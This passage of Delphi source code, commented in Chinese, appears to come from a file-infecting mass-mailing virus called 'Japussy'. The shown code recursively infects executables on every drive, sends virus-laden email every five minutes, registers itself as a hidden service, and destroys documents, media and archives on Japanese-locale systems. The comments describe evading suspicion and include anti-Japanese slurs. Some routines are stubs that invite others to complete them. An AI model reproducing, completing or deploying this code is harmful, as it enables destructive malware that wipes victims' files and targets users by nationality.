function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (SearchRec.Attr '.') and

(SearchRec.Name '..') then

Result := 0 //不是目录

else if (SearchRec.Attr = 16) and (SearchRec.Name '.') and

(SearchRec.Name '..') then

Result := 1 //不是根目录

else Result := 2; //是根目录

end;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑

if IsValidDir(SearchRec) = 0 then

begin

Fn := Path + SearchRec.Name;

Ext := UpperCase(ExtractFileExt(Fn));

if (Ext = '.EXE') or (Ext = '.SCR') then

begin

InfectOneFile(Fn); //感染可执行文件

end

else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then

begin

//感染HTML和ASP文件，将Base64编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之？

end

else if Ext = '.WAB' then //Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext = '.ADC' then //Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext = 'IND' then //Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then //是倭文操作系统

begin

if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or

(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or

(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or

(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or

(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or

(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then

SmashFile(Fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑

Sleep(200);

until (FindNext(SearchRec) 0);

end;

FindClose(SearchRec);

SubDir := TStringList.Create;

if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then

begin

repeat

if IsValidDir(SearchRec) = 1 then

SubDir.Add(SearchRec.Name);

until (FindNext(SearchRec) 0);

end;

FindClose(SearchRec);

Count := SubDir.Count - 1;

for i := 0 to Count do

LoopFiles(Path + SubDir.Strings + '', Mask);

FreeAndNil(SubDir);

end;

{ 遍历磁盘上所有的文件 }

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP = 932 then //日文操作系统

IsJap := True; //去死吧！

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);

while True do //死循环

begin

for i := Len downto 1 do //遍历每个磁盘驱动器

LoopFiles(DriverList + ':', '*.*'); //感染之

SendMail; //发带毒邮件

Sleep(1000 * 60 * 5); //睡眠5分钟

end;

end;

{ 主程序开始 }

begin

if IsWin9x then //是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

else //WinNT

begin

//远程线程映射到Explorer进程

//哪位兄台愿意完成之？

end;

//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then

InfectFiles //感染和发邮件

else //已寄生于宿主程序上了，开始工作

begin

TmpFile := ParamStr(0); //创建临时文件

Delete(TmpFile, Length(TmpFile) - 4, 4);

TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格

ExtractFile(TmpFile); //分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, '.', Si, Pi); //创建新进程运行之

InfectFiles; //感染和发邮件

end;

end